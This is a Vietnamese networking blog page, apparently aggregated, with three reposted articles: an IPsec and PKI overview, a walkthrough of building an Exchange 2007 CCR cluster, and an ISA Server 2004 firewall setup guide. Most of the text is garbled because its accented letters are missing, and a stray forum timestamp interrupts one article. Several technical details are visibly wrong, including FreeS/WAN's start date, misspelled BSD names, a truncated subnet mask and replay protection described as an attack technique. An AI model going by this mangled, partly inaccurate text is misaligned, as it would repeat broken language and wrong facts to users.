i ln. 2. Cu trc bo mt IPsec c trin khai (1) s dng cc giao thc cung cp mt m (cryptographic protocols) nhm bo mt gi tin (packet) trong qu trnh truyn, (2) phng thc xc thc v (3) thit lp cc thng s m ho. Xy dng IPsec s dng khi nim v bo mt trn nn tng IP. Mt s kt hp bo mt rt n gin khi kt hp cc thut ton v cc thng s (v nh cc kho keys) l nn tng trong vic m ho v xc thc trong mt chiu. Tuy nhin trong cc giao tip hai chiu, cc giao thc bo mt s lm vic vi nhau v p ng qu trnh giao tip. Thc t la chn cc thut ton m ho v xc thc li ph thuc vo ngi qun tr IPsec bi IPsec bao gm mt nhm cc giao thc bo mt p ng m ho v xc thc cho mi gi tin IP. Trong cc bc thc hin phi quyt nh ci g cn bo v v cung cp cho mt gi tin outgoing (i ra ngoi), IPsec s dng cc thng s Security Parameter Index (SPI), mi qu trnh Index (nh th t v lu trong d liu Index v nh mt cun danh b in thoi) bao gm Security Association Database (SADB), theo sut chiu di ca a ch ch trong header ca gi tin, cng vi s nhn dng duy nht ca mt tho hip bo mt (tm dch t security association) cho mi gi tin. Mt qu trnh tng t cng c lm vi gi tin i vo (incoming packet), ni IPsec thc hin qu trnh gii m v kim tra cc kho t SADB. Cho cc gi multicast, mt tho hip bo mt s cung cp cho mt group, v thc hin cho ton b cc receiver trong group . C th c hn mt tho hip bo mt cho mt group, bng cch s dng cc SPI khc nhau, tuy nhin n cng cho php thc hin nhiu mc bo mt cho mt group. Mi ngi gi c th c nhiu tho hip bo mt, cho php xc thc, trong khi ngi nhn ch bit c cc keys c gi i trong d liu. Ch cc chun khng miu t lm th no cc tho hip v la chn vic nhn bn t group ti cc c nhn. 3. Hin trng IPsec l mt phn bt bc ca IPv6, c th c la chn khi s dng IPv4. Trong khi cc chun c thit kt cho cc phin bn IP ging nhau, ph bin hin nay l p dng v trin khai trn nn tng IPv4. Cc giao thc IPsec c nh ngha t RFCs 1825 1829, v c ph bin nm 1995. Nm 1998, c nng cp vi cc phin bn RFC 2401 2412, n khng tng thch vi chun 1825 1929. Trong thng 12 nm 2005, th h th 3 ca chun IPSec, RFC 4301 4309. Cng khng khc nhiu so vi chun RFC 2401 2412 nhng th h mi c cung cp chun IKE second.
Trong th h mi ny IP security cng c vit tt li l IPsec. S khc nhau trong quy nh vit tt trong th h c quy chun bi RFC 1825 1829 l ESP cn phin bn mi l ESPbis. 4. Thit k theo yu cu. IPsec c cung cp bi Transport mode (end-to-end) p ng bo mt gia cc my tnh giao tip trc tip vi nhau hoc s dng Tunnel mode (portalto-portal) cho cc giao tip gia hai mng vi nhau v ch yu c s dng khi kt ni VPN. IPsec c th c s dng trong cc giao tip VPN, s dng rt nhiu trong giao tip. Tuy nhin trong vic trin khai thc hin s c s khc nhau gia hai mode ny. Giao tip end-to-end c bo mt trong mng Internet c pht trin chm v phi ch i rt lu. Mt phn b l do tnh ph thng ca no khng cao, hay khng thit thc, Public Key Infrastructure (PKI) c s dng trong phng thc ny. IPsec c gii thiu v cung cp cc dch v bo mt: 1. M ho qu trnh truyn thng tin 2. m bo tnh nguyn vn ca d liu 3. Phi c xc thc gia cc giao tip 4. Chng qu trnh replay trong cc phin bo mt. 5. Modes Cc mode C hai mode khi thc hin IPsec l: Transport mode v tunnel mode. Transport mode Trong Transport mode, ch nhng d liu bn giao tip cc gi tin c m ho v/hoc xc thc. Trong qu trnh routing, c IP header u khng b chnh sa hay m ho; tuy nhin khi authentication header c s dng, a ch IP khng th bit c, bi cc thng tin b hash (bm). Transport v application layers thng c bo mt bi hm bm (hash), v chng khng th chnh sa (v d nh port number). Transport mode s dng trong tnh hung giao tip host-to-host. iu ny c ngha l ng gi cc thng tin trong IPsec cho NAT traversal
c nh ngha bi cc thng tin trong ti liu ca RFC bi NAT-T. Tunnel mode Trong tunnel mode, ton b gi IP (bao gm c data v header) s c m ho v xc thc. N phi c ng gi li trong mt dng IP packet khc trong qu trnh routing ca router. Tunnel mode c s dng trong giao tip network-to-network (hay gia cc routers vi nhau), hoc host-to-network v host-to-host trn internet. 5. Technical details. C hai giao thc c pht trin v cung cp bo mt cho cc gi tin ca c hai phin bn IPv4 v IPv6: IP Authentication Header gip m bo tnh ton vn v cung cp xc thc. IP Encapsulating Security Payload cung cp bo mt, v l option bn c th la chn c tnh nng authentication v Integrity m bo tnh ton vn d liu. Thut ton m ho c s dng trong IPsec bao gm HMAC-SHA1 cho tnh ton vn d liu (integrity protection), v thut ton TripleDES-CBC v AESCBC cho m m ho v m bo an ton ca gi tin. Ton b thut ton ny c th hin trong RFC 4305. a. Authentication Header (AH) AH c s dng trong cc kt ni khng c tnh m bo d liu. Hn na n l la chn nhm chng li cc tn cng replay attack bng cch s dng cng ngh tn cng sliding windows v discarding older packets. AH bo v qu trnh truyn d liu khi s dng IP. Trong IPv4, IP header c bao gm TOS, Flags, Fragment Offset, TTL, v Header Checksum. AH thc hin trc tip trong phn u tin ca gi tin IP. di y l m hnh ca AH header. Cc modes thc hin Authentication Header (AH) ngha ca tng phn: Next header: Nhn dng giao thc trong s dng truyn thng tin. Payload length: ln ca gi tin AH. RESERVED: S dng trong tng lai (cho ti thi im ny n c biu din bng cc s 0).
Security parameters index (SPI): Nhn ra cc thng s bo mt, c tch hp vi a ch IP, v nhn dng cc thng lng bo mt c kt hp vi gi tin. Sequence number: Mt s t ng tng ln mi gi tin, s dng nhm chng li tn cng dng replay attacks. Authentication data: Bao gm thng s Integrity check value (ICV) cn thit trong gi tin xc thc. b. Encapsulating Security Payload (ESP) Giao thc ESP cung cp xc thc, ton vn, m bo tnh bo mt cho gi tin. ESP cng h tr tnh nng cu hnh s dng trong tnh hung ch cn bo m ho v ch cn cho authentication, nhng s dng m ho m khng yu cu xc thc khng m bo tnh bo mt. Khng nh AH, header ca gi tin IP, bao gm cc option khc. ESP thc hin trn top IP s dng giao thc IP v mang s hiu 50 v AH mang s hiu 51. Encapsulating Security Payload (ESP) ngha ca cc phn: Security parameters index (SPI): Nhn ra cc thng s c tch hp vi a ch IP. Sequence number:T ng tng c tc dng chng tn cng kiu replay attacks. Payload data: Cho d liu truyn i Padding: S dng vi block m ho Pad length: ln ca padding. Next header: Nhn ra giao thc c s dng trong qu trnh truyn thng tin. Authentication data: Bao gm d liu xc thc cho gi tin. 6. Implementations - thc hin IPsec c thc hin trong nhn vi cc trnh qun l cc key v qu trnh thng lng bo mt ISAKMP/IKE t ngi dng. Tuy nhin mt chun giao din cho qun l key, n c th c iu khin bi nhn ca IPsec.
Bi v c cung cp cho ngi dng cui, IPsec c th c trin khai trn nhn ca Linux. D n FreeS/WAN l d n u tin hon thnh vic thc hin IPsec trong m ngun m c th l Linux. N bao gm mt nhn IPsec stack (KLIPS), kt hp vi trnh qun l key l deamon v rt nhiu shell scripts. D n FreeS/WAN c bt u vo thng 3 nm 2004. Openswan v strongSwan tip tc d n FreeS/WAN. D n KAME cng hon thnh vic trin khai s dng IPsec cho NetBSB, FreeBSB. Trnh qun l cc kho c gi l racoon. OpenBSB c to ra ISAKMP/IKE, vi tn n gin l isakmpd (n cng c trin khai trn nhiu h thng, bao gm c h thng Linux). IPsec phn 2 - Public Key Infrastructor (VNE Research Department) http://zensoft.vn/ShowArticle.aspx?ID=2260 IPsec phn 2 - Public Key Infrastructor 20/10/2007 09:30 AM Trong bi vit ny ti s gii thiu vi cc bn tng quan v cch thc lm vic ca Public Key Infrastructure (PKI). IPsec ton tp phn I Nu bn s dng Active Directory ca cng ngh Windows NT th mi user khi c to ra cng i lin vi n c mt cp Key: Public key v Private key. Ngoi ra cn c nhiu ng dng to ra cp kho ny. Cp key c to ra ngu nhin vi nhiu ch s hin th. Khi cc keys c to ra t nhiu ch s ngu nhin, s khng th gii m nu ra private key nu bit public key. Nhng c mt s thut ton c th to ra public key t private key. Nhng ch c Public key mi c published cho ton b mi ngi. Hu ht cc cp key c to ra t nhiu s v bng mt thut ton m ho no . Mt thng tin c m ho vi public key th ch c th gii m bi private key. Nu ch c public key bn s khng th gii m c gi tin. iu ny c ngha khi mt ngi gi thng tin c m ho ti mt ngi khc th ch c ngi nhn mi m c thng tin m thi. Nhng ngi khc c bt c ton b thng tin th cng khng th gii m c nu ch c Public key. Mt thng tin c m ho vi private key c th gii m vi public key. Khi public key c public cho ton b mi ngi th ai cng c th c c
thng tin nu c public key. m bo an ton hn trong qu trnh truyn thng tin: Alice kt hp Private key ca c y vi Public key ca Bob to ra v chia s bo mt (share secret). Cng tng t nh vy Bob cng kt hp Private key ca mnh vi Public key ca Alice to ra mt shared secret. Ri hai ngi truyn thng tin cho nhau. Khi Alice truyn thng tin cho Bob bng Shared Secret c to ra, khi Bob nhn c gi tin m ho bi shared secret dng Public key ca Alice kt hp vi Private key ca mnh m thng tin. iu ny cng tng t khi Bob truyn thng tin v cch Alice gii m ly thng tin. IPsec ton tp phn I (Theo VNE Research Department) c ng bi haodalat ti 9:14 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
Ci t, cu hnh v kim th Exchange 2007 CCR trn Mailbox Server (Phn 1)
Exchange Server 2007 gii thiu mt s tnh nng mi, mt trong s l tnh nng Cluster Continuous Replication (CCR). Tnh nng ny cn n vn chuyn file bn ghi ca Exchange Server 2007 mi v cc tnh nng replay, bn cnh l s kt hp gia chng vi cc tnh nng c sn Windows 2003 (2 nt cluster active/passive). Tnh nng c trong Windows 2003 ny c nhiu u im, tuy nhin n cng c mt s nhc im l vn c mt im li khi cp n cc c s d liu ca Exchange. Cc iu kin tin quyt theo cc bc trong sut lot bi ny, bn cn thc hin nhng vn di y: * Windows 2003 Active Directory forest c t nht mt Domain Controller. * Hai phin bn Windows 2003 Server R2 Enterprise hoc Windows 2003 Server SP1 Enterprise. * Mt file Windows chia s Witness (Microsoft khuyn co vn l Exchange 2007 Hub Transport Server trong Exchange 2007 ang tn ti) Lu : Nh p dng s nng cp cp n bn trong lin kt MS KB 921181 cho c hai my ch s lm vic nh cc nt trong ci t Exchange Server 2007 Clustered Mailbox. Nng cp ny s b sung mt tnh nng xc nhn chia s file mi cho m hnh quy nh ca tp cc nt - Majority Node Set (MNS) - hin hnh. Tnh nng xc nhn chia s file ny cho php bn s
dng mt file chia s bn ngoi i vi cluster nh mt phiu bu chn truyn thng nhm mc ch ch ra trng thi ca cluster trong trin khai m hnh quy nh two-node MNS, l mt th tc s dng cho chc nng bn sao cluster lin tc (vit tt l CCR) trong Exchange Server 2007. B sung thm vo cc iu kin tin quyt trn, bn nn c mt s kin thc v cc yu cu chung di y: * Khi x l cc mi trng CCR, bn phi hoc c th ch s dng mt c s d liu trn mt nhm lu tr. * Bn khng th to mt c s d liu th mc cng trong mi trng CCR nu c nhiu c s d liu th mc trong t chc ca mnh. * Bn c th to ti 50 nhm lu tr v 50 c s d liu trn mt CCR cluster. Cn phi bit rng bn ch nn to mt c s d liu trn mi nhm lu tr. * Cluster trong Exchange 2007 no c ci t khng th c Exchange Server 200x, hoc bt k phin bn no ca Microsoft SQL Server. Khng c h tr cho vic chy Exchange 2007 trong mt cluster vi bt k cc ng dng khc. Cnh bo: V Exchange Server 2007 Beta khng h tr trong mi trng sn xut, tr khi bn tham gia trong chng trnh trin khai nhanh (RDP) hoc chng trnh chy th cng ngh mi (TAP), nn bn phi ci t mailbox cluster trong min kim th. Cu hnh thit lp mng cho cc nt Cluster Khi bn khi chy cc my ch lm cc nt trong mt cluster, hy bt u bng cch t tn cho cc my v d nh E2K7Node1 v E2K7Node2 hay bt c tn no m bn mun s dng (cc tn ny khng cn phi thc hin g vi tn my ch Exchange m cc my khch ca bn s c cu hnh kt ni ti chng sau). t tn cho cc kt ni mng l Public v Private tng ng vi mng bn trong v mng bn ngoi (nh rng phi thc hin iu ny cho c hai nt). Hnh 1: Cc kt ni mng Kch Advanced > Advanced Settings, nu khng phi nh th, hy bo m Public c lit k u tin trong danh sch th t kt ni, sau l Private
v cui cng l Remote Access Connections. Hnh 2: Th th kt ni Bn cng cn bo m khng nh du File and Printer Sharing for Microsoft Networks cho kt ni mng Private. Hnh 3: V hiu ha File and Printer Sharing for Microsoft Networks Cu hnh Public network vi cc thit lp mng tng ng m bn s dng trong mi trng test ca mnh. Hnh 4: Cu hnh Public network Cu hnh Private network vi a ch IP v mt subnet mask. Ngoi ra khng cn g yu cu na v mng ny ch c s dng cho vic truyn thng (heartbeat) gia cc nt trong mt cluster. Hnh 5: Cu hnh Private network By gi kch Advanced sau chn tab DNS. y, bn nn hy chn c Register this connection's addresses in DNS v Use this connection's DNS suffix. Hnh 6: Cu hnh cc thit lp DNS cho Private network Kch vo tab WINS, hy chn Enable LMHOSTS lookup v chn Disable NetBIOS over TCP/IP. Hnh 7: Cu hnh cc thit lp WINS cho Private network Kch OK 3 ln v ng cc ca s kt ni mng. By gi b sung thm c hai my ch Windows 2003 vi t cch l my ch thnh vin trong min Active Directory kim th. To v cu hnh Windows 2003 Server Cluster Chng ta c hai my ch sn sng lm vic nh cc nt trong mt cluster ca Windows 2003, lc ny hy to mt Windows 2003 Server Cluster.
thc hin iu , hy ng nhp vo E2K7Node1 vi ti khon qun tr vin min, sau kch Start > Administrative Tools > Cluster Administrator, v chn Create new cluster trong hp danh sch chn. Kch OK. Hnh 8: To mt cluster mi Lu : Bn cng c th m mt ca s lnh v nh vo lnh Cluster.exe /create /wizard m tin ch Cluster Wizard. Kch Next. Hnh 9: Cluster Wizard Ch nh tn min cng nh tn cluster (tn cho Windows 2003 cluster ch khng phi cho tn ca Exchange cluster cc my khch s kt ni ti), sau kch Next. Hnh 10: Cluster Name and Domain Nhp vo tn ca my ch Windows 2003 s lm nt u tin trong cluster, trong trng hp ny l E2K7Node1, sau kch Next. Hnh 11: B sung thm nt u tin Cho php tin ch cluster wizard xc nh cu hnh cluster v kch Next. Lu : Bn c th b qua hai cnh bo trong hnh 12, v cc nt trong bn sao cluster lin tc (CCR) trn ci t my ch mailbox s khng chia s cng cc h thng nh. Hnh 12: Phn tch cu hnh cluster - Analyzing Cluster Configuration Nhp vo a ch IP m cc cng c qun l cluster s s dng kt ni vi cluster, trong trng hp ny l 10.10.1.216, sau kch Next. Hnh 13: Ch nh a ch IP m cc cng c qun l cluster s kt ni n Nhp vo cc thng tin cn thit ca ti khon dch v cluster (Cluster Service Account), kch Next.
Hnh 14: Nhp vo cc thng tin cn thit cho Cluster Service Account Kch Quorum v chn Majority Node Set nh mt kiu ti nguyn, sau kch OK v Next. Hnh 15: Cu hnh Cluster c a ra Hnh 16: Thit lp Majority Node Set thnh Resource Type i cho n khi cluster c cu hnh, sau kch Next. Hnh 17: To Cluster Khi cluster c hon tt, bn c th kch Finish. Hnh 18: Mn hnh bo hon tt qu trnh Lc ny chng ta ang chy cluster Windows 2003, nhng v ch c mt nt nn khng c li tolerant. V vy hy b sung thm vo my ch Windows 2003 th hai. Chng ta c th thc hin bng cch kch chut phi vo E2K7Node1 trong phn panel bn tri ca Cluster Administrator, sau chn New > Node nh trong hnh 19 bn di. Hnh 19: B sung thm nt th hai cho Cluster Add Nodes Wizard s khi chy v bn c th kch Next. Hnh 20: Add Nodes Wizard Nhp vo tn ca my ch s l nt th hai (trong trng hp ny l E2K7Node2), sau kch Next. Hnh 21: Nhp vo tn ca nt th hai Tip tc cho Add Notes Wizard php xc nh cu hnh cluster, sau kch Next.
Hnh 22: Phn tch cu hnh Cluster Nhp vo mt khu cho ti khon dch v cluster (trong trng hp ny l ti khon qun tr vin), sau kch Next. Hnh 23: Nhp vo mt khu cho Cluster Service Account Khi c thm nh, bn mun b sung thm nt th hai vo cluster vi cu hnh c th hin trong hnh 24, kch Next. Hnh 24: Cu hnh cluster c xut cho nt 2. Khi cluster c cu hnh ng m khng c li no hoc cnh bo no xut hin, bn hy kch Next. Hnh 25: Cluster c cu hnh cho nt th hai Khi Add Notes Wizard hon tt mt cch thnh cng, kch Finish. Hnh 26: Hon tt Add Nodes Wizard My ch Windows th hai lc ny l mt phn ca cluster nh th hin trong hnh 27 bn di. Hnh 27: Cluster Administrator vi hai nt n y chng ti xin kt thc phn mt ca lot bi ny, phn hai s c tip tc chng ti gii thiu trong mt thi gian khng xa, mong cc bn n c. (theo QTM, MsExchane) http://zensoft.vn/ShowArticle.aspx?ID=3498 c ng bi haodalat ti 9:13 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
14-04-2008
sch v ISA 2004 ting vit
Trong s nhng sn phm tng la (firewall) trn th trng hin nay th ISA Server 2004 ca Microsoft c nhiu ngi yu thch do kh nng bo v h thng mnh m cng vi c ch qun l linh hot. ISA Server 2004 Firewall
c hai phin bn Standard v Enterprise phc v cho nhng mi trng khc nhau. ISA Server 2004 Standard p ng nhu cu bo v v chia s bng thng cho cc cng ty c quy m trung bnh. Vi phin bn ny chng ta c th xy dng firewall kim sot cc lung d liu vo v ra h thng mng ni b ca cng ty, kim sot qu trnh truy cp ca ngi dng theo giao thc, thi gian v ni dung nhm ngn chn vic kt ni vo nhng trang web c ni dung khng thch hp. Bn cnh chng ta cn c th trin khai h thng VPN Site to Site hay Remote Access h tr cho vic truy cp t xa, hoc trao i d liu gia cc vn phng chi nhnh. i vi cc cng ty c nhng h thng my ch quan trng nh Mail Server, Web Server cn c bo v cht ch trong mt mi trng ring bit th ISA 2004 cho php trin khai cc vng DMZ (thut ng ch vng phi qun s) ngn nga s tng tc trc tip gia ngi bn trong v bn ngoi h thng. Ngoi cc tnh nng bo mt thng tin trn, ISA 2004 cn c h thng m (cache) gip kt ni Internet nhanh hn do thng tin trang web c th c lu sn trn RAM hay a cng, gip tit kim ng k bng thng h thng. Chnh v l do m sn phm firewall ny c tn gi l Internet Security & Aceleration (bo mt v tng tc Internet). ISA Server 2004 Enterprise c s dng trong cc m hnh mng ln, p ng nhiu yu cu truy xut ca ngi dng bn trong v ngoi h thng. Ngoi nhng tnh nng c trn ISA Server 2004 Standard, bn Enterprise cn cho php thit lp h thng mng cc ISA Server cng s dng mt chnh sch, iu ny gip d dng qun l v cung cp tnh nng Load Balancing (cn bng ti). Bi vit ny trnh by cch thc trin khai h thng ISA Server (Standar v Enterprise) cho mt cng ty c s lng nhn vin trn 50 ngi. cung cp dch v chia s Internet, cng ty s dng mt ng ADSL v h thng ISA Server 2004 Firewall. Vi a ch modem ADSL l 1.1.1.2, h thng c hai lp mng chnh l Internal bao gm cc my tnh ca nhn vin c dy a ch IP ring l 192.168.1.1 192.168.1.255/24 v DMZ dnh cho my ch (nh Exchange Server, Web Server) s dng a ch mng 172.16.1.0/24. My ch dng ci t ISA Server chy Windows Server 2003 SP1 c 3 NIC (network interface) vi a ch IP nh sau: - Outside Interface: IP 1.1.1.1, Subnet Mask 255.255.255 v Default Gateway 1.1.1.2 (ADSL modem). - Inside Interface: IP 192.168.1.10, Subnet Mask 255.255.255.0 v DNS 192.168.1.11 (DNS Server v Domain Controler ca h thng) - DMZ Interface: IP 172.16.1.1, Subnet Mask 255.255.255.0
Nhm bo m an ton cho h thng v firewall, trn giao tip mng Outside chn Disable Netbios Over TCP IP, b chn Register this connections address in DNS v Enable LMHOST lookup nh hnh sau: Lu : Chc nng Disable NetBIOS over TCP/IP lm cho my tnh tr nn "v hnh" trn mng, cc phn mm qut li h thng nh Retina, Nmap s khng tm thy tn ca my tnh, hn ch trng hp d tm password ca nhng ti khon theo c ch brute force. Cc my ch giao tip vi Internet nh firewall thng chn chc nng ny, tuy nhin i vi cc my tnh trn mng ni b chng ta khng nn s dng v s ngn cc my tnh khc truy cp vo ti nguyn chia s trn my nh Printer, Folder Share. Mt s ng dng bo mt (nh PC Security) khi ci t s mc nh chn Disable NetBIOS over TCP/IP. Ci t ISA Server Sau khi thit lp y cc thng tin cn thit, chng ta tin hnh ci t ISA Server 2004 Standard trn my tnh dng lm firewall. Chng ta c th chn mt trong 3 ch ci t sau: - Typical: ch ny ch ci t mt s dch v ti thiu, khng c dch v Cache. - Complete: tt c cc dch v s c ci t nh Firewall dng kim sot truy cp; Message Screener cho php ngn chn spam v file nh km (cn phi ci IIS 6.0 SMTP trc khi ci Message Screener); Firewall Client Installation Share. - Custom: cho php chn nhng thnh phn cn ci t ca ISA Server 2004. y chng ta s s dng ch ci t Custom, mc nh ch c hai dch v Firewall Services v ISA Server Management, hy chn thm Firewall Client Installation Share. Tip theo tin trnh ci t s yu cu bn xc nh giao tip mng vi h thng mng ni b (Internal Network), trong ca s Internal Network nhn Add ri Select Network Adapter. nh du chn Inside trong trang Select Network Adapter. Tip theo, chng ta cn cung cp dy a ch IP cha cc my tnh trong mng ni b (From, To). Lu , dy a ch ny phi cha IP ca giao tip mng Inside. Trong ca s Firewall Client Connection Settings hy nh du chn Allow nonencrypted Firewall client connections v Allow Firewall clients running earlier versions of the Firewall client software to connect to ISA Server, nhn
Next trong cc bc tip theo hon tt qu trnh ci t. i vi phin bn Standard chng ta nn ci bn v SP1 ISA2004-KB891024X86-ENU.msp (c th ti v t website www.microsoft.com hay www.security365.org/downloads/software) bo m h thng hot ng n nh. Kt Ni ISA Server Vi Internet V Cu Hnh Cc ISA Client ISA Server 2004 Firewall c 3 dng chnh sch bo mt: system policy, access rule v publishing rule. - System policy thng n v c dng cho vic tng tc gia firewall v cc dch v mng khc nh ICMP, RDP... System policy c x l trc khi access rule c p dng. Sau khi ci t cc system policy mc nh cho php ISA Server s dng cc dch v h thng nh DHCP, RDP, Ping... - Access Rule: l tp hp cc quy tc truy cp Internet hay email. Cn c bit lu n th t cc access rule v lung x l ca firewall s chm dt khi n gp policy "chn" li. hiu r c ch ny, chng ta xem v d c 5 access rule vi th t nh sau: 1. Deny HTTP (khng cho php s dng HTTP protocol) 2. Allow HTTP (cho dng HTTP protocol) 3. Allow FTP (cho php s dng FTP) 4. Deny FTP (khng cho php s dng FTP) 5. Deny All (default policy) Trong trng hp chng ta cho rng i tng s dng l nh nhau, th khi mt ngi dng s dng giao thc HTTP duyt web, anh ta s b t chi truy cp v access rule u tin khng cho php s dng giao thc ny. Nhng nu ngi dng ti v tp tin thng qua FTP th anh ta s c php v access rule th 3 cho php dng FTP, v firewall s b qua cc access rule cn li. - Publishing Rule: dng cung cp cc dch v nh Web Server, Mail Server trn lp mng Internal hay DMZ cho php cc ngi dng trn Internet truy cp. Khi qu trnh ci t ISA Server 2004 hon tt, chng ta kt ni ISA Server vi Internet v cu hnh cc ISA client c th truy cp Internet thng qua ISA Server Firewall. Mc nh ISA Server ch c mt access rule sau khi ci
t l Deny All, t chi mi truy cp vo/ra thng qua ISA firewall, v vy chng ta cn to cc quy tc thch hp vi nhu cu t chc hoc p dng cc quy tc mu (Predefine Template) cho ISA Server. Bn c th cu hnh ISA Firewall Policy thng qua giao din ISA Management Console trn chnh ISA Server hoc ci cng c qun l ISA Management Console trn mt my khc v kt ni n ISA Server thc hin cc thao tc qun tr t xa. Giao din qun l ca ISA Server Management console c 3 phn chnh: - Khung bn tri duyt cc chc nng chnh nh Server name, Monitoring, Firewall Policy, Cache... - Khung gia hin th chi tit cc thnh phn chnh m chng ta chn nh System Policy, Access Rule... - Khung bn phi cn c gi l Tasks Pane cha cc tc v c bit nh Publishing Server, Enable VPN Server... ISA Server Management console 1.To Access Rule Trn ISA M giao din qun l ISA Management Server bng cch chn Start - >All Programs - > Microsoft ISA Server - > ISA Server Management. Nhn phi vo Firewall Policy v chn Create New Access Rule hoc chn t khung tc v (Task Pane) ca mn hnh qun l. t tn cho access rule cn to l Permit any traffic from internal network hoc tn ph hp vi h thng ca bn v chn Next. Trong phn Rule Action chng ta chn Allow, v y l access rule cho php client s dng cc giao thc v ng dng thng qua firewall. Maika 03-21-2007, 09:54 AM Xc nh nhng giao thc m ngi dng c s dng nh HTTP hay FTP... Trong ca s Protocols, hy chn All outbond trafic, nu mun thay i bn ch cn chn trong danh sch nh Selected Protocol chn mt s giao thc no hay All inbound trafic cho trng hp cung cp cc kt ni t bn ngoi vo. H thng cn bit i tng s dng cc giao thc trong access rule, trng hp ny cc client l nhng ngi s dng trong h thng mng ni b cho nn chng ta chn Add trn Access Rule Source v chn Internal. i vi User th chng ta chn All User (trong trng hp cn thit bn c th xc nh nhng Group hay User thch hp ca h thng nh Group Domain User, Administrator..., khi Firewall khng thuc Domain th hy s dng local account ca Firewall trong Local Users And Groups).
2. Cu hnh ISA Client:
s dng ISA Server th cc client trn mng phi cu hnh mt trong ba loi sau: SecureNAT, Firewall Client, Web Proxy Client hoc c 3 dng trn. * SecureNAT Client: y l phng php n gin nht, cc my tnh ch cn cu hnh Default Gateway l a ch card mng trong ca ISA Server l c (trong trng hp ny l 192.168.1.10), hoc chng ta c th cp pht thng qua DHCP server vi option 006 dnh cho Router. im thun li ca phng php ny l client khng cn ci t g thm, v c th s dng cc h iu hnh khng thuc Microsoft nh Linux, Unix m vn s dng c cc giao thc v ng dng trn Internet thng qua ISA. Tuy nhin c mt bt li l cc SecureNAT client khng gi c nhng thng tin chng thc gm username v password cho firewall c, v vy nu nh bn trin khai dch v kim sot truy cp theo domain user i hi phi c username v password th cc SecureNAT client khng ng dng c. Ngoi ra chng ta khng th ghi nht k qu trnh truy cp i vi dng client ny. Cu hnh SecureNAT client * Firewall Client: Vy nu chng ta mun c mt c ch kim sot cht ch hn, v d ngi dng phi ng nhp domain mi truy cp c Internet th phi lm nh th no? Gii php a ra l chng ta s ci t Firewall Client cho cc my tnh ny. Thng thng khi ci t ISA Server bn s ci dch v Firewall Client Installation Share, sau trn ISA Server m system policy cho php truy cp ti nguyn chia s v my tnh client ch cn kt ni n ISA Server theo a ch IP ni b vi ti khon hp l tin hnh chy tp tin ci t Firewall Client. Nu khng mun ci t Firewall Client Installation Share trn tng my client th chng ta c th chn ci dch v ny trn bt k my tnh no nh file server hoc domain controller nh sau: chn Setup Type loi Custom v chn This feature, and all subfeatures, will be installed on the local hard drive trong mc Firewall Client Installation Share. Sau trn cc my tnh client tin hnh ci t Firewall Client bng cch m Start - > Run v chy lnh \\192.168.1.10\mspclnt\setup. Trong trng hp h thng c nhiu my trm, vic ci t trn tng my gp nhiu kh khn th gii php trin khai chng trnh mt cch t ng bng SMS Server 2003 hoc Assign thng qua Group Policy l hiu qu nht (bn c th tham kho phng php ci t t ng thng qua Group Policy trn website www.security365.org). Vi Firewall Client, bn c th tn dng c nhng kh nng mnh nht ca ISA Server nh chng thc ngi dng
da trn Domain User v Group, cho php ghi nht k nhng ln truy cp... Tuy nhin im bt li chnh ca trng hp ny l cc my tnh mun ci Firewall Client phi s dng h iu hnh Windows. * Web Proxy Client: Nh chng ta bit, ngoi chc nng bo mt th ISA Server 2004 Firewall cn c chc nng Cache dng lu tr cc trang web thng c truy cp trn RAM hoc trn a cng nhm tit kim bng thng. Tuy nhin, Web Proxy Client ch s dng c cc giao thc HTTP/HTTPS, FTP, iu ny c ngha l ngi dng s khng th truy cp email vi Outlook hay s dng cc ng dng khc. s dng Web Proxy, cc my tnh client phi cu hnh trong trnh duyt web bng cch m Internet Explore, chn Tools - > Internet Options, chn tab Connections - > LAN Settings v nhp vo a ch ca Proxy server. Nh vy cch nhanh nht cho php cc my tnh trong mng c th truy cp Internet qua ISA Server l cu hnh SecureNAT client da trn h thng cp pht a ch IP ng hoc cu hnh IP tnh v tr default gateway l a ch mng ni b ca ISA Server. Ngoi ra qu trnh phn gii a ch IP din ra sun s th cc client cn cu hnh a ch DNS server ni b v c ISP DNS Server nh 210.245.31.10 hay 203.162.4.191. Thit Lp Cc Private Policy Mc d h thng kt ni c Internet, nhng mt s cng ty c nhng yu cu ring v chnh sch h thng nh khng cho php chat bng AOL hay MSN Messenger, cho php ti tp tin thng qua FTP. Bn cnh , phc v nhu cu duyt web, giao thc HTTP c cho php s dng nhng cm khng cho ti nhng tp tin c th thc thi trn h thng Windows qua HTTP ngn nga s ly nhim virus. thc hin iu ny, bn cn phi hiu chnh li firewall policy ca mnh. 1. To access rule khng cho php s dng AOL v MSN Mesenger Nhn chut phi Firewall Policy, chn Create new Access Rule v t tn l deny MSN and AIM, nhn Next. ca s Rule Action hy chn Deny v nhn Next. Trong phn This rule applies to chn Selected Protocols. Nhn Add. Sau m Protocols ca Instant Messaging v nhn p AOL Instant Messenger v MSN Messenger. Nhn Close. Tip theo chng ta chn Internal v External trong phn Network, p dng cho All user v Apply p dng policy ny cho h thng. 2. To access rule cho php client s dng FTP ti v v ti ln
Trong trng hp bn mun php ngi dng s dng FTP ti v (download) v c ti ln (upload) hy tin hnh nh sau: To access rule mi thng qua Create a New Access Rule, t tn l permit FTP vi Rule Action l Allow, p dng cho All User v Internal Network. Sau khi nhn Apply th User trn h thng mng ni b c th ti v thng qua FTP bng cc chng trnh FTP Client nh FileZilla. Tuy nhin h c th ti ln cc FTP server th chng ta cn b thit lp Read Only cho FTP access rule bng cch nhn phi chut vo Access Rule permit FTP v chn Configure FTP. Trong ca s Configure FTP protocol policy b chn Read Only s cho php upload ln Ftp server. 3. To access rule cho php s dng HTTP nhng khng cho php ti v nhng file c kh nng thc thi trn h thng Windows. To access rule mi tn l permit HTTP deny executables cho php ngi dng trn lp mng Internal s dng HTTP protocol. Nhn phi chut vo permit HTTP deny executables v chn configure HTTP. nh du chn vo Block responses containing Windows executable content nh hnh sau: S Dng WPAD H Tr ISA Client T ng D Tm Firewall V Web Proxy Khi h thng s dng DHCP cp pht a ch IP ng, chng ta cn phi h tr cc client t ng d tm Web Proxy Server v Firewall thng qua CNAME WPAD record trn DNS Server hoc cu hnh option Predefine l wpad trn DHCP server (tham kho file demo http://www.security365.org/downloads/demo/ISA2004.rar). Lu : Vic cu hnh WPAD trn DHCP ch s dng c nu DHCP Server l dch v ca HH Windows, cn khi s dng DHCP Server ca cc hng khc th chng ta phi s dng DNS lm iu ny. 1. Trc tin chng ta cn phi bt chc nng h tr Auto Discovery trn ISA Server. 